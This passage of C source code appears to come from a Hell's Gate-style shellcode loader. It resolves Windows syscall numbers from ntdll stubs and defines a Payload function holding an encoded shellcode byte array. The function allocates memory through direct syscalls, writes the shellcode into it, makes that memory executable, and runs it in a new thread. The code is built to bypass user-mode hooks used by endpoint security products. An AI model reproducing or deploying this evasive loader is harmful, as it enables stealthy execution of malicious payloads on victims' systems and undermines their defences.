*((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00 217 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) { 218 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP); 219 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP); 220 | pVxTableEntry->wSystemCall = (high << 8) | low + idx; 221 | return TRUE; 222 | } 223 | 224 | } 225 | return FALSE; 226 | } 227 | } 228 | } 229 | 230 | return TRUE; 231 | } 232 | 233 | BOOL Payload(PVX_TABLE pVxTable) { 234 | unsigned char payload[] = { 0x7d ,0xa6 ,0x42 ,0x8c ,0x12 ,0x34 ,0x46 ,0x36 ,0xa2 ,0x86 ,0xe1 ,0x9d ,0xa1 ,0xb3 ,0xbd, 235 | 0xbe ,0x48 ,0x7f ,0xf3 ,0x0e ,0xa3 ,0xf3 ,0xc4 ,0x5c ,0x38 ,0xf1 ,0x69 ,0x0d ,0x25 ,0x95, 236 | 0xaa ,0x57 ,0x36 ,0x26 ,0x57 ,0x02 ,0x05 ,0x8f ,0x4e ,0xda ,0x4a ,0x2e ,0x1c ,0x99 ,0x7d, 237 | 0x52 ,0x98 ,0x1a ,0xf5 ,0x7d ,0xbb ,0x91 ,0x8f ,0xa5 ,0x24 ,0xb4 ,0xcc ,0x37 ,0x3e ,0xf0, 238 | 0x18 ,0xec ,0x20 ,0x0c ,0xdb ,0x74 ,0x92 ,0x3a ,0xf7 ,0xdb ,0x0a ,0x90 ,0x0c ,0x90 ,0x23, 239 | 0xdd ,0x1c ,0x93 ,0xd4 ,0x49 ,0x79 ,0x65 ,0x53 ,0xde ,0x2f ,0x88 ,0xc7 ,0x76 ,0x73 ,0x55, 240 | 0x98 ,0xde ,0x24 ,0x09 ,0xde ,0x95 ,0x5b ,0xc8 ,0xa1 ,0x03 ,0xa0 ,0xcc ,0x7a ,0x5a ,0xf2, 241 | 0x76 ,0x43 ,0x71 ,0x99 ,0xf0 ,0xdc ,0x75 ,0xaa ,0xb4 ,0x83 ,0x58 ,0xa5 ,0xad ,0x12 ,0xaf, 242 | 0xea ,0xa5 ,0xce ,0xa8 ,0xc7 ,0xdd ,0x4d ,0xcf ,0xdf ,0xf8 ,0xf1 ,0x76 ,0x9c ,0x47 ,0x8d, 243 | 0xca ,0xd0 ,0x69 ,0xf9 ,0xb3 ,0x11 ,0x18 ,0xc4 ,0x1f ,0x82 ,0x93 ,0x31 ,0xa7 ,0xff ,0x1a, 244 | 0x0b ,0x50 ,0x72 ,0xb3 ,0x13 ,0xbc ,0x02 ,0xdc ,0x98 ,0x77 ,0x36 ,0x2d ,0x86 ,0x6f ,0x4f,}; 245 | 246 | NTSTATUS status = 0x00000000; 247 | PVOID lpAddress = NULL; 248 | SIZE_T sDataSize = sizeof(payload); 249 | HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); 250 | status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); 251 | ULONG writtenBytes = 0; 252 | HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall); 253 | status = HellDescent((HANDLE)-1, lpAddress, payload, sizeof(payload), &writtenBytes); 254 | //VxMoveMemory(lpAddress, payload, sizeof(payload)); 255 | // Change page permissions 256 | ULONG ulOldProtect = 0; 257 | HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall); 258 | status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); 259 | 260 | // Create thread 261 | HANDLE hHostThread = INVALID_HANDLE_VALUE; 262 | HellsGate(pVxTable->NtCreateThreadEx.wSystemCall); 263 | status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); 264 | 265 | // Wait for 1 seconds 266 | LARGE_INTEGER Timeout; 267 | Timeout.QuadPart = -10000000; 268 | HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall); 269 | status = HellDescent(hHostThread, FALSE, &Timeout); 270 | 271 | return TRUE; 272 | } 273 | 274 | PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { 275 | char* d = dest; 276 | const char* s = src; 277 | if (d < s) 278 | while (len--) 279 | *d++ = *s++; 280 | else { 281 | char* lasts = s + (len - 1); 282 | char* lastd = d + (len - 1); 283 | while (len--) 284 | *lastd-- = *lasts--; 285 | } 286 | return dest; 287 | } 288 | --------------------------------------------------------------------------------